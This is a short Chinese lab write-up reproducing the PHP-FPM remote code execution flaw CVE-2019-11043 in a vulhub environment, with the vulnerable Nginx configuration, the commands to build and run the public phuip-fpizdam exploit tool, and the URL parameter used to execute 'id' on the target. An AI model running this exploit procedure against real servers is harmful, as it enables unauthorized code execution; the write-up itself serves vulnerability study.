漏洞复现

PHP远程代码执行漏洞复现

一、漏洞概述

向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。

location ~ [^/]\.php(/|$) {

 ...

 fastcgi_split_path_info ^(.+?\.php)(/.*)$;

 fastcgi_param PATH_INFO $fastcgi_path_info;

 fastcgi_pass   php:9000;

 ...

}

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的正则表达式,正则表达式被破坏导致PATH_INFO为空,从而触发该漏洞。

二、漏洞复现

  1. 使用vulhub中CVE-2019-11043的环境进行搭建
    https://vulhub.org/#/environments/php/CVE-2019-11043/
    目录:php/CVE-2019-11043

开启nginx和php:

在这里插入图片描述

访问靶场的80端口:

在这里插入图片描述

  1. 使用https://github.com/neex/phuip-fpizdam中给出的工具,发送数据包
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
# 安装漏洞利用工具,需要go环境
go get -v && go build

在这里插入图片描述

  1. 漏洞利用

使用该工具执行命令:go run . "http://your-ip:8080/index.php",然后访问 http://your-ip:8080/index.php?a=id,即可查看到命令已成功执行

在这里插入图片描述

在这里插入图片描述

url 中空格不影响命令执行:

在这里插入图片描述

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐